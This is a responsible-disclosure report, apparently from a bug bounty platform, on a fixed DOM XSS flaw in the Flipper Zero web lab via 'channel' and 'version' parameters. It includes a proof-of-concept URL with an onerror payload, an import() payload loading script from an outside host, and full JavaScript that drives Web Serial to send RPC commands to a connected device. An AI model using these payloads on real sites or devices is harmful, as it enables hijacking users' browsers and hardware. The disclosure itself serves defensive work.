DOM XSS on lab.flipper.net via the "channel" or "version" parameters in flipperdevices/lab.flipper.net
Reported on
Oct 27th 2022
Description
Hi ! The Web Platform for the Flipper is vulnerable to DOM XSS via the channel
and version
parameters. This occurs because when the user clicks on Choose firmware
the values are passed directly to innerHTML
without parsing.
Proof of Concept
- 1 The user access the following URL : https://lab.flipper.net/?url=wtf.tgz&channel=123&version=%3Cimg%20src=x%20onerror=%27alert(document.domain)%27/%3E
- 2 The user clicks on the
Choose firmware
dropdown - 3 An alert pops.
The vulnerable portion of the code in Vue.js is on lab.flipper.net/frontend/src/components/Updater.vue
<template v-slot:option="scope">
<q-item v-bind="scope.itemProps">
<q-item-section class="items-start">
<q-item-label v-html="scope.opt.label" />
</q-item-section>
<q-item-section class="items-end">
<q-item-label v-html="scope.opt.version" :class="'fw-option-label ' + scope.opt.value"/>
</q-item-section>
</q-item>
The v-html
directive is used, this causes the variables to be inserted as HTML, where probably should be only text.
Impact
An attacker can send a malicious link to the victim that runs arbitrary javascript on the page.
SECURITY.md
a year ago
Hey , I have made a PoC achieving RCE on the Flipper Zero to evidence the full impact of the vulnerability.
Video : drive.google.com/file/d/1GOri-c56-7Sp78mloqDYu1Jj6c3f6Hn4/view?usp=sharing
// payload : <img/src/onerror=import('https://lude.rs/pocs/flipper_rce_xss.js')>
const sleep = ms => new Promise(r => setTimeout(r, ms));
setTimeout( async() => {
// disconnect current serial ;
document.querySelector("#q-app > div > header > div > button").click();
await sleep(100);
try {
document.querySelector("body > div:nth-child(3) > div > div > div.column.items-center > button").click();
} catch {
document.querySelector("body > div:nth-child(4) > div > div > div.column.items-center > button").click();
}
await sleep(500);
var ports = await navigator.serial.getPorts();
var pwn = await ports[0].open({baudRate:1});
var payload = [
new Uint8Array([115,116,97,114,116,95,114,112,99,95,115,101,115,115,105,111,110,13]).buffer, // start_rpc_session\r
new Uint8Array([4,8,1,42,0]).buffer,
new Uint8Array([5,8,2,130,2,0]).buffer,
new Uint8Array([10, 8, 3, 58, 6, 10, 4, 47, 101, 120, 116]).buffer,
new Uint8Array([11, 8, 4, 226, 1, 6, 10, 4, 47, 101, 120, 116]).buffer,
new Uint8Array([5,8,5,210,1,0]).buffer,
new Uint8Array([9,8,6,186,1,4,8,4,16,0]).buffer,
new Uint8Array([9,8,7,186,1,4,8,4,16,2]).buffer,
new Uint8Array([9,8,8,186,1,4,8,4,16,1]).buffer,
new Uint8Array([137,8,8,9,178,1,131,8,10,128,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,48,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,144,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,136,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,140,0,0,0,0,0,0,0,248,255,255,0,0,0,0,0,132,0,0,0,0,0,0,0,0,0,128,7,0,0,0,0,196,0,252,31,0,0,0,0,0,0,0,8,0,0,0,0,68,0,0,96,0,0,0,0,0,0,0,16,0,0,0,0,70,0,0,64,0,224,255,3,0,0,0,96,0,0,0,0,66,0,0,128,0,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,2,0,0,0,64,0,0,0,0,64,0,0,192,0,0,224,7,0,0,0,64,0,0,0,0,64,0,0,255,1,0,56,8,0,0,0,64,0,0,0,0,64,0,0,0,2,0,0,16,0,0,0,64,0,0,0,0,64,0,0,0,2,0,0,16,0,0,0,64,0,0,0,0,64,0,0,0,4,0,0,16,0,0,0,32,0,0,0,0,64,0,0,0,8,0,0,32,0,0,0,32,0,0,0,0,64,0,0,0,8,0,0,32,0,0,0,32,0,0,0,0,64,0,0,0,8,0,0,32,0,0,240,255,255,3,0,0,32,0,0,0,8,0,0,16,0,0,0,32,0,0,0,0,32,0,0,0,8,0,1,12,0,0,0,48,0,0,0,0,32,0,0,0,4,0,1,6,0,0,0,16,0,0,0,0,32,0,0,2,3,0,227,1,0,0,0,16,0,0,0,0,32,0,0,254,1,0,60,0,0,0,0,16,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,16,0,0,0,0,32,4,0,0,0,0,0,0,0,0,0,16,0,0,0,0,248,7,0,0,0,0,0,0,0,0,0,16,0,0,0,128,63,0,0,0,0,0,0,0,0,0,0,16,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,24,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]).buffer,
new Uint8Array([9,8,10,186,1,4,8,4,16,0]).buffer,
new Uint8Array([9,8,11,186,1,4,8,4,16,2]).buffer,
new Uint8Array([9,8,12,186,1,4,8,4,16,1]).buffer
];
for (var i = 0; i < payload.length; i++) {
await sleep(100);
var writer = await ports[0].writable.getWriter() ;
await writer.write(payload[i]);
await writer.close();
}
console.log('done');
},500);
On the PoC I just sent commands to write 1337
on the screen, but it's possible to send any command to the device, including installing applications and sending files.
By the way really sick job discovering a vulnerability in flipper! I love this startup 🐬
Hey @caioluders, I just published the vulnerability. I was actually trying to do this the day it was fixed, on November 17th, but the website wouldn't react to me pressing "Publish".
Thank you @psmoros for reminding me to look into this again, it worked this time.
@caioluders, thanks again for the amazing work!